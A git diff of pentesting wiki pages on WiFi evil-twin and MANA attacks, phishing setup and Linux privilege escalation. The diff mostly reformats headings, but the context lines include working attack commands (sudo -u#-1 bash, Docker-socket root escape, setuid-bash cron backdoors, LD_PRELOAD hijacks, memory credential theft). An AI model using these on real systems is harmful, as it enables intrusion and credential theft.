authentication methods** that could be used by an enterprise Wifi. For this kind of Wifis you will probably find in `airodump-ng` something like this: @@ -427,7 +428,7 @@ Main authentication algorithms used in this case: You can find more information about these authentication methods [here ](https://en.wikipedia.org/wiki/Extensible\_Authentication\_Protocol)and [here](https://www.intel.com/content/www/us/en/support/articles/000006999/network-and-i-o/wireless-networking.html). -## Username Capture +### Username Capture Reading [https://tools.ietf.org/html/rfc3748#page-27](https://tools.ietf.org/html/rfc3748#page-27) it looks like if you are using **EAP** the **"Identity"** **messages** must be **supported**, and the **username** is going to be sent in **clear** in the **"Response Identity"** messages. @@ -436,7 +437,7 @@ Inside the "**Response, Identity**" packet, the **username** of the client will ![](<../../.gitbook/assets/image (150).png>) -## Anonymous Identities +### Anonymous Identities (Info taken from [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)) @@ -458,7 +459,7 @@ EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authent With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form _**user@realm**_ or simply _**user**_. If the PEAP/TTLS server is also authenticating the _**user**_, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request. -## EAP-Bruteforce (password spray) +### EAP-Bruteforce (password spray) If the client is expected to use a **username and password** (notice that **EAP-TLS won't be valid** in this case), then you could try to get a **list** a **usernames** (see next part) and **passwords** and try to **bruteforce** the access using [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)**.** @@ -476,35 +477,35 @@ You could also do this attack using `eaphammer`: --user-list users.txt ``` -# Client attacks Theory +## Client attacks Theory -## Network Selection and Roaming +### Network Selection and Roaming Although the 802.11 protocol has very specific rules that dictate how a station can join an ESS, it does not specify how the station should select an ESS to connect to. Additionally, the protocol allows stations to roam freely between access points that share the same ESSID (because you wouldn’t want to lose WiFi connectivity when walking from one end of a building to another, etc). However, the 802.11 protocol does not specify how these access points should be selected. Furthermore, even though stations must be authenticated to the ESS in order to associate with an access point, the 802.11 protocol does not require the access point be authenticated to the station. -## Preferred Network Lists (PNLs) +### Preferred Network Lists (PNLs) Each time a station connects to a wireless network, the network’s ESSID is stored in the station’s Preferred Network List (PNL). The PNL is an ordered list of every network that the station has connected to in the past, and each entry in the PNL contains the network’s ESSID and any network-specific configuration information needed to establish a connection. -## Passive Scanning +### Passive Scanning In infrastructure networks, access points periodically transmit beacon frames to advertise their presence and capabilities to nearby stations. Beacons are broadcast frames, which means they are intended to be received by all nearby stations in range. Beacons include information about the AP’s supported rates, encryption capabilities, additional information, and most importantly, beacon frames contain the AP’s ESSID (as long as ESSID broadcasting is not disabled). During passive scanning, the client device listens for beacon frames from nearby access points. If the client device receives a beacon frame whose ESSID field matches an ESSID from the client’s PNL, the client will automatically connect to the access point that sent the beacon frame. Then, suppose we want to target a wireless device that is not currently connected to any wireless. If we know at least one entry in that client’s PNL, we can force the client to connect to us simply by creating our own access point with that entry’s ESSID. -## Active Probing +### Active Probing The second network selection algorithm used in 802.11 is known as Active Probing. Client devices that use active probing continuously transmit probe request frames to determine what APs are within range, as well as what their capabilities are. Probe requests come in two forms: directed and broadcast. Directed probe requests are addressed to a specific ESSID, and are the client’s way of checking if a specific network is nearby. Clients that use directed probing will send out probe requests for each network in its PNL. It should be noted that directed probing is the only way of identify the presence of nearby hidden networks. Broadcast probe requests work almost exactly the same way, but are sent with the SSID field set to NULL. This addresses the broadcast probe to all nearby access points, allowing the the station to check if any of its preferred networks are nearby without revealing the contents of its PNL -# Simple AP with redirection to Internet +## Simple AP with redirection to Internet Before explaining how to perform more complex attacks it's going to be explained **how** to just **create** an **AP** and **redirect** it's **traffic** to an interface connected **to** the **Internet**. Using `ifconfig -a` check that the wlan interface to create the AP and the interface connected to the Internet are present. -## DHCP & DNS +### DHCP & DNS ```bash apt-get install dnsmasq #Manages DHCP and DNS @@ -537,7 +538,7 @@ And then **start** dnsmasq: dnsmasq -C dnsmasq.conf -d ``` -## hostapd +### hostapd ``` apt-get install hostapd @@ -572,7 +573,7 @@ ifconfig wlan0 up hostapd ./hostapd.conf ``` -## Forwarding and Redirection +### Forwarding and Redirection ```bash iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE @@ -580,7 +581,7 @@ iptables --append FORWARD --in-interface wlan0 -j ACCEPT echo 1 > /proc/sys/net/ipv4/ip_forward ``` -# Evil Twin +## Evil Twin An evil twin attack is a type Wi-Fi attack that works by taking advantage of the fact that most computers and phones will only see the "name" or ESSID of a wireless network (as the base station is not required to authenticate against the client). This actually makes it very hard to distinguish between networks with the same name and same kind of encryption. In fact, many networks will have several network-extending access points all using the same name to expand access without confusing users. @@ -608,7 +609,7 @@ Please, notice that by default if an ESSID in the PNL is saved as WPA protected, _Some OS and AV will warn the user that connect to an Open network is dangerous..._ -## WPA/WPA2 Evil Twin +### WPA/WPA2 Evil Twin You can create an **Evil Twin using WPA/2** and if the devices have configured to connect to that SSID with WPA/2, they are going to try to connect. Anyway, **to complete the 4-way-handshake** you also need to **know** the **password** that the client is going to use. If you **don't know** it, the **connection won't be completed**. @@ -616,7 +617,7 @@ You can create an **Evil Twin using WPA/2** and if the devices have configured t ./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword" ``` -## Enterprise Evil Twin +### Enterprise Evil Twin To understand this attacks I would recommend to read before the brief [WPA Enterprise explanation](./#wpa-enterprise-mgt). @@ -668,7 +669,7 @@ Or you could also use: ![](<../../.gitbook/assets/image (129).png>) -## Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks +### Debugging PEAP and EAP-TTLS TLS tunnels in Evil Twins attacks _This method was tested in an PEAP connection but as I'm decrypting an arbitrary TLS tunnel this should also works with EAP-TTLS_ @@ -687,9 +688,9 @@ And look at the new **"Decrypted TLS" tab**: ![](<../../.gitbook/assets/image (152).png>) -# KARMA, MANA, Loud MANA and Known beacons attack +## KARMA, MANA, Loud MANA and Known beacons attack -## ESSID and MAC black/whitelists +### ESSID and MAC black/whitelists The following table lists the different type of MFACLs (Management Frame Access Control Lists) available, as well their effects when used: @@ -717,11 +718,11 @@ pears [--ssid-blacklist /path/to/mac/blacklist/file.txt] ``` -## KARMA +### KARMA Karma attacks are a second form of rogue access point attack that exploits the network selection process used by stations. In a whitepaper written in 2005, Dino Dai Zovi and Shane Macaulay describe how an attacker can configure an access point to listen for directed probe requests and respond to all of them with matching directed probe responses. This causes the affected stations to automatically send an association request to the attacker’s access point. The access point then replies with an association response, causing the affected stations to connect to the attacker. -## MANA +### MANA According to Ian de Villiers and Dominic White, modern stations are designed to protect themselves against karma attacks by ignoring directed probe responses from access points that have not already responded to at least one broadcast probe request. This led to a significant drop in the number of stations that were vulnerable to karma attacks until 2015, when White and de Villiers developed a means of circumventing such protections. In White’s and de Villiers’ improved karma attack (MANA attack), directed probe responses are used to reconstruct the PNLs of nearby stations. When a broadcast probe request is received from a station, the attacker’s access point responds with an arbitrary SSID from the station’s PNL already being saw in a direct probe from that device. @@ -733,7 +734,7 @@ MANA attack using eaphammer: ./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds] ``` -## Loud MANA +### Loud MANA Notice that the standard MANA attack still does not allow us to attack devices that don’t use directed probing at all. So if we also doesn't know previously any entry inside the device PNL, we need to figure out some other way to attack it. @@ -745,7 +746,7 @@ In resume, Loud MANA attack instead of responding to probe requests with each ES ./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds] ``` -## Known Beacon attack +### Known Beacon attack There are still cases in which Loud MANA attack won’t succeed.\ The Known Beacon attack is a way to "Brute-Force" ESSIDs to try to get the victim connect to the attacker. The attacker creates an AP that response to any ESSID and run some code sending beacons faking ESSIDs of each name inside a wordlist. Hopefully the victim will contains some of theses ESSID names inside its PNL and will try to connect to the fake AP.\ @@ -768,7 +769,7 @@ As known beacons are loud. You can use a script inside Eaphammer project to just --burst-count 5 ``` -# Wi-Fi Direct +## Wi-Fi Direct Wi-Fi Direct is a Wi-Fi standard that allows devices to connect to each other without a wireless AP as one of the two devices will act as AP (called group owner). You can find Wi-Fi Direct in a lot of IoT devices like printers, TVs... @@ -776,11 +777,11 @@ Wi-Fi Direct relies on Wi-Fi Protected Setup (**WPS**) to securely connect the d So the attacks previously seen to WPS PIN are also valid here if PIN is used. -## EvilDirect Hijacking +### EvilDirect Hijacking This works like an Evil-Twin but for Wi-Fi direct, you can impersonate a group owner to try to make other devices like phons connect to you: `airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0` -# Interesting links +## Interesting links * [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee) * [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9) diff --git a/generic-methodologies-and-resources/phishing-methodology/README.md b/generic-methodologies-and-resources/phishing-methodology/README.md index 6943c207e..aeb39ff9a 100644 --- a/generic-methodologies-and-resources/phishing-methodology/README.md +++ b/generic-methodologies-and-resources/phishing-methodology/README.md @@ -343,7 +343,7 @@ The page www.mail-tester.com can indicate you if you your domain is being blocke * Decide from which account are you going to send the phishing emails. Suggestions: _noreply, support, servicedesk, salesforce..._ * You can leave blank the username and password, but make sure to check the Ignore Certificate Errors -![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (11).png>) +![](<../../.gitbook/assets/image (253) (1) (2) (1) (1) (2) (2) (3) (3) (5) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (7).png>) {% hint style="info" %} It's recommended to use the "**Send Test Email**" functionality to test that everything is working.\ @@ -384,7 +384,7 @@ Note that **in order to increase the credibility of the email**, it's recommende * Search for **public emails** like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response. * Try to contact **some valid discovered** email and wait for the response -![](<../../.gitbook/assets/image (67) (1).png>) +![](<../../.gitbook/assets/image (393).png>) {% hint style="info" %} The Email Template also allows to **attach files to send**. If you would also like to steal NTLM challenges using some specially crafted files/documents [read this page](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md). diff --git a/linux-hardening/privilege-escalation/README.md b/linux-hardening/privilege-escalation/README.md index 0638dc712..d3ed689ec 100644 --- a/linux-hardening/privilege-escalation/README.md +++ b/linux-hardening/privilege-escalation/README.md @@ -16,7 +16,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -## OS info +## System Information + +### OS info Let's starting gaining some knowledge of the OS running @@ -26,7 +28,7 @@ lsb_release -a 2>/dev/null # old, not by default on many systems cat /etc/os-release 2>/dev/null # universal on modern systems ``` -## Path +### Path If you **have write permissions on any folder inside the `PATH`** variable you may be able to hijacking some libraries or binaries: @@ -34,7 +36,7 @@ If you **have write permissions on any folder inside the `PATH`** variable you m echo $PATH ``` -## Env info +### Env info Interesting information, passwords or API keys in the environment variables? @@ -42,7 +44,7 @@ Interesting information, passwords or API keys in the environment variables? (env || set) 2>/dev/null ``` -## Kernel exploits +### Kernel exploits Check the kernel version and if there is some exploit that can be used to escalate privileges @@ -69,7 +71,7 @@ Tools that could help searching for kernel exploits are: Always **search the kernel version in Google**, maybe your kernel version is wrote in some kernel exploit and then you will be sure that this exploit is valid. -## CVE-2016-5195 (DirtyCow) +### CVE-2016-5195 (DirtyCow) Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 @@ -81,7 +83,7 @@ https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` -## Sudo version +### Sudo version Based on the vulnerable sudo versions that appear in: @@ -95,7 +97,7 @@ You can check if the sudo version is vulnerable using this grep. sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` -## sudo < v1.28 +### sudo < v1.28 From @sickrov @@ -103,7 +105,7 @@ From @sickrov sudo -u#-1 /bin/bash ``` -## Dmesg signature verification failed +### Dmesg signature verification failed Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited @@ -111,7 +113,7 @@ Check **smasher2 box of HTB** for an **example** of how this vuln could be explo dmesg 2>/dev/null | grep "signature" ``` -## More system enumeration +### More system enumeration ```bash date 2>/dev/null #Date @@ -186,8 +188,6 @@ cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` -## Installed Software - ## Useful software Enumerate useful binaries @@ -202,7 +202,7 @@ Also, check if **any compiler is installed**. This is useful if you need to use (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` -## Vulnerable Software Installed +### Vulnerable Software Installed Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ It is recommended to check manually the version of the more suspicious installed software. @@ -231,11 +231,11 @@ top -n 1 Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ Also **check your privileges over the processes binaries**, maybe you can overwrite someone. -## Process monitoring +### Process monitoring You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. -## Process memory +### Process memory Some services of a server save **credentials in clear text inside the memory**.\ Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ @@ -252,7 +252,7 @@ The file _**/proc/sys/kernel/yama/ptrace\_scope**_ controls the accessibility of * **kernel.yama.ptrace\_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. {% endhint %} -### GDB +#### GDB If you have access to the memory of a FTP service (for example) you could get the Heap and search inside of it the credentials. @@ -265,7 +265,7 @@ gdb -p strings /tmp/mem_ftp #User and password ``` -### GDB Script +#### GDB Script {% code title="dump-memory.sh" %} ```bash @@ -280,7 +280,7 @@ done ``` {% endcode %} -### /proc/$pid/maps & /proc/$pid/mem +#### /proc/$pid/maps & /proc/$pid/mem For a given process ID, **maps shows how memory is mapped within that processes'** virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. @@ -297,7 +297,7 @@ procdump() ) ``` -### /dev/mem +#### /dev/mem `/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernels virtual address space can be accessed using /dev/kmem.\ Typically, `/dev/mem` is only readable by **root** and **kmem** group. @@ -345,9 +345,9 @@ To dump a process memory you could use: * [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - _You can manually remove root requirements and dump process owned by you_ * Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) -## Credentials from Process Memory +### Credentials from Process Memory -### Manual example +#### Manual example If you find that the authenticator process is running: @@ -363,7 +363,7 @@ You can dump the process (see before sections to find different ways to dump the strings *.dump | grep -i password ``` -### mimipenguin +#### mimipenguin The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. @@ -386,7 +386,7 @@ ls -al /etc/cron* /etc/at* cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#" ``` -## Cron path +### Cron path For example, inside _/etc/crontab_ you can find the PATH: _PATH=**/home/user**:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin_ @@ -401,7 +401,7 @@ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh /tmp/bash -p #The effective uid and gid to be set to the real uid and gid ``` -## Cron using a script with a wildcard (Wildcard Injection) +### Cron using a script with a wildcard (Wildcard Injection) If a script being executed by root has a “**\***” inside a command, you could exploit this to make unexpected things (like privesc). Example: @@ -417,7 +417,7 @@ Read the following page for more wildcard exploitation tricks: [wildcards-spare-tricks.md](wildcards-spare-tricks.md) {% endcontent-ref %} -## Cron script overwriting and symlink +### Cron script overwriting and symlink If you **can modify a cron script** executed by root, you can get a shell very easily: @@ -433,7 +433,7 @@ If the script executed by root uses a **directory where you have full access**, ln -d -s ``` -## Frequent cron jobs +### Frequent cron jobs You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. @@ -445,7 +445,7 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do **You can also use** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (this will monitor and list every process that start). -## Invisible cron jobs +### Invisible cron jobs It's possible to create a cronjob **putting a carriage return after a comment** (without new line character), and the cron job will work. Example (note the carriege return char): @@ -455,16 +455,16 @@ It's possible to create a cronjob **putting a carriage return after a comment** ## Services -## Writable _.service_ files +### Writable _.service_ files Check if you can write any `.service` file, if you can, you **could modify it** so it **executes** your **backdoor when** the service is **started**, **restarted** or **stopped** (maybe you will need to wait until the machine is rebooted).\ For example create your backdoor inside the .service file with **`ExecStart=/tmp/script.sh`** -## Writable service binaries +### Writable service binaries Keep in mid that if you have **write permissions over binaries being executed by services**, you can change them for backdoors so when the services get re-executed the backdoors will be executed. -## systemd PATH - Relative Paths +### systemd PATH - Relative Paths You can see the PATH used by **systemd** with: @@ -494,7 +494,7 @@ You can enumerate all the timers doing: systemctl list-timers --all ``` -## Writable timers +### Writable timers If you can modify a timer you can make it execute some existent systemd.unit (like a `.service` or a `.target`) @@ -513,7 +513,7 @@ Therefore, in order to abuse this permissions you would need to: **Learn more about timers with `man systemd.timer`.** -## **Enabling Timer** +### **Enabling Timer** In order to enable a timer you need root privileges and to execute: @@ -538,22 +538,22 @@ Sockets can be configured using `.socket` files. * `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. * `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. -## Writable .socket files +### Writable .socket files If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ _Note that the system must be using that socket file configuration or the backdoor won't be executed_ -## Writable sockets +### Writable sockets If you **identify any writable socket** (_now where are talking about Unix Sockets, not about the config `.socket` files_), then, **you can communicate** with that socket and maybe exploit a vulnerability. -## Enumerate Unix Sockets +### Enumerate Unix Sockets ```bash netstat -a -p --unix ``` -## Raw connection +### Raw connection ```bash #apt-get install netcat-openbsd @@ -570,7 +570,7 @@ socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of [socket-command-injection.md](socket-command-injection.md) {% endcontent-ref %} -## HTTP sockets +### HTTP sockets Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but about the files acting as unix sockets_). You can check this with: @@ -580,7 +580,7 @@ curl --max-time 2 --unix-socket /pat/to/socket/files http:/index If the socket **respond with a HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. -## Writable Docker Socket +### Writable Docker Socket The **docker socke**t is typically located at `/var/run/docker.sock` and is only writable by `root` user and `docker` group.\ If for some reason **you have write permissions** over that socket you can escalate privileges.\ @@ -591,7 +591,7 @@ docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bi docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -### Use docker web API from socket without docker package +#### Use docker web API from socket without docker package If you have access to **docker socket** but you can't use the docker binary (maybe it isn't even installed), you can use directly the web API with `curl`. @@ -684,7 +684,7 @@ Policies to the context "default" affects everyone not affected by other policie It's always interesting to enumerate the network and figure out the position of the machine. -## Generic enumeration +### Generic enumeration ```bash #Hostname, hosts and DNS @@ -709,7 +709,7 @@ cat /etc/networks lsof -i ``` -## Open ports +### Open ports Always check network services running on the machine that you wasn't able to interact with before accessing to it: @@ -718,7 +718,7 @@ Always check network services running on the machine that you wasn't able to int (netstat -punta || ss --ntpu) | grep "127.0" ``` -## Sniffing +### Sniffing Check if you can sniff traffic. If you can, you could be able to grab some credentials. @@ -728,7 +728,7 @@ timeout 1 tcpdump ## Users -## Generic Enumeration +### Generic Enumeration Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** @@ -754,12 +754,12 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so gpg --list-keys 2>/dev/null ``` -## Big UID +### Big UID Some Linux versions were affected by a bug that allow users with **UID > INT\_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -## Groups +### Groups Check if you are a **member of some group** that could grant you root privileges: @@ -767,7 +767,7 @@ Check if you are a **member of some group** that could grant you root privileges [interesting-groups-linux-pe](interesting-groups-linux-pe/) {% endcontent-ref %} -## Clipboard +### Clipboard Check if anything interesting is located inside the clipboard (if possible) @@ -782,28 +782,28 @@ if [ `which xclip 2>/dev/null` ]; then fi ``` -## Password Policy +### Password Policy ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -## Known passwords +### Known passwords If you **know any password** of the environment **try to login as each user** using the password. -## Su Brute +### Su Brute If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. ## Writable PATH abuses -## $PATH +### $PATH If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. -## SUDO and SUID +### SUDO and SUID You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: @@ -823,7 +823,7 @@ ftp>!/bin/sh less>! ``` -## NOPASSWD +### NOPASSWD Sudo configuration might allow a user to execute some command with another user privileges without knowing the password. @@ -839,7 +839,7 @@ In this example the user `demo` can run `vim` as `root`, it is now trivial to ge sudo vim -c '!sh' ``` -## SETENV +### SETENV This directive allows the user to **set an environment variable** while executing something: @@ -855,7 +855,7 @@ This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPA sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -## Sudo execution bypassing paths +### Sudo execution bypassing paths **Jump** to read other files or use **symlinks**. For example in sudeores file: _hacker10 ALL= (root) /bin/less /var/log/\*_ @@ -878,7 +878,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files **Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -## Sudo command/SUID binary without command path +### Sudo command/SUID binary without command path If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable @@ -892,7 +892,7 @@ This technique can also be used if a **suid** binary **executes another command [Payload examples to execute.](payloads-to-execute.md) -## SUID binary with command path +### SUID binary with command path If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. @@ -905,7 +905,7 @@ export -f /usr/sbin/service Then, when you call the suid binary, this function will be executed -## LD\_PRELOAD +### LD\_PRELOAD **LD\_PRELOAD** is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library. @@ -945,7 +945,7 @@ Finally, **escalate privileges** running sudo LD_PRELOAD=pe.so #Use any command you can run with sudo ``` -## SUID Binary – so injection +### SUID Binary – so injection If you find some weird binary with **SUID** permissions, you could check if all the **.so** files are **loaded correctly**. In order to do so you can execute: @@ -976,7 +976,7 @@ gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c And execute the binary. -## GTFOBins +### GTFOBins [**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. @@ -989,11 +989,11 @@ The project collects legitimate functions of Unix binaries that can be abused to {% embed url="https://gtfobins.github.io/" %} -## FallOfSudo +### FallOfSudo If you can access `sudo -l` you can use the tool [**FallOfSudo**](https://github.com/Critical-Start/FallofSudo) to check if it finds how to exploit any sudo rule. -## Reusing Sudo Tokens +### Reusing Sudo Tokens In the scenario where **you have a shell as a user with sudo privileges** but you don't know the password of the user, you can **wait him to execute some command using `sudo`**. Then, you can **access the token of the session where sudo was used and use it to execute anything as sudo** (privilege escalation). @@ -1030,7 +1030,7 @@ bash exploit_v3.sh sudo su ``` -## /var/run/sudo/ts/\ +### /var/run/sudo/ts/\ If you have **write permissions** in the folder or on any of the created files inside the folder you can use the binary [**write\_sudo\_token**](https://github.com/nongiach/sudo\_inject/tree/master/extra\_tools) to **create a sudo token for a user and PID**.\ For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you have a shell as that user with PID 1234, you can **obtain sudo privileges** without needing to know the password doing: @@ -1039,7 +1039,7 @@ For example if you can overwrite the file _/var/run/sudo/ts/sampleuser_ and you ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` -## /etc/sudoers, /etc/sudoers.d +### /etc/sudoers, /etc/sudoers.d The file `/etc/sudoers` and the files inside `/etc/sudoers.d` configure who can use `sudo` and how. This files **by default can only be read by user root and group root**.\ **If** you can **read** this file you could be able to **obtain some interesting information**, and if you can **write** any file you will be able to **escalate privileges**. @@ -1065,7 +1065,7 @@ echo "Defaults !tty_tickets" > /etc/sudoers.d/win echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` -## DOAS +### DOAS There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, remember to check its configuration at `/etc/doas.conf` @@ -1073,7 +1073,7 @@ There are some alternatives to the `sudo` binary such as `doas` for OpenBSD, rem permit nopass demo as root cmd vim ``` -## Sudo Hijacking +### Sudo Hijacking If you know that a **user usually connects to a machine and uses `sudo`** to escalate privileges and you got a shell within that user context, you can **create a new sudo executable** that will execute your code as root and then the users command. Then, **modify the $PATH** of the user context (for example adding the new path in .bash\_profile) so we the user executed sudo, your sudo executable is executed. @@ -1081,7 +1081,7 @@ Note that if the user uses a different shell (not bash) you will need to modify ## Shared Library -## ld.so +### ld.so The file `/etc/ld.so.conf` indicates **where are loaded the configurations files from**. Typically, this file contains the following path: `include /etc/ld.so.conf.d/*.conf` @@ -1094,7 +1094,7 @@ Take a look about **how to exploit this misconfiguration** in the following page [ld.so.conf-example.md](ld.so.conf-example.md) {% endcontent-ref %} -## RPATH +### RPATH ``` level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH" @@ -1170,7 +1170,7 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside of the session**. -## screen sessions hijacking +### screen sessions hijacking **List screen sessions** @@ -1213,12 +1213,12 @@ Check **valentine box from HTB** for an example. ## SSH -## Debian OpenSSL Predictable PRNG - CVE-2008-0166 +### Debian OpenSSL Predictable PRNG - CVE-2008-0166 All SSL and SSH keys generated on Debian-based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ This bug caused that when creating in those OS a new ssh key **only 32,768 variations were possible**. This means that all the possibilities can be calculated and **having the ssh public key you can search for the corresponding private key**. You can find the calculated possibilities here: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) -## SSH Interesting configuration values +### SSH Interesting configuration values * **PasswordAuthentication:** Specifies whether password authentication is allowed. The default is `no`. * **PubkeyAuthentication:** Specifies whether public key authentication is allowed. The default is `yes`. @@ -1263,7 +1263,7 @@ If you Forward Agent configured in an environment \[**check here how to exploit ## Interesting Files -## Profiles files +### Profiles files The file 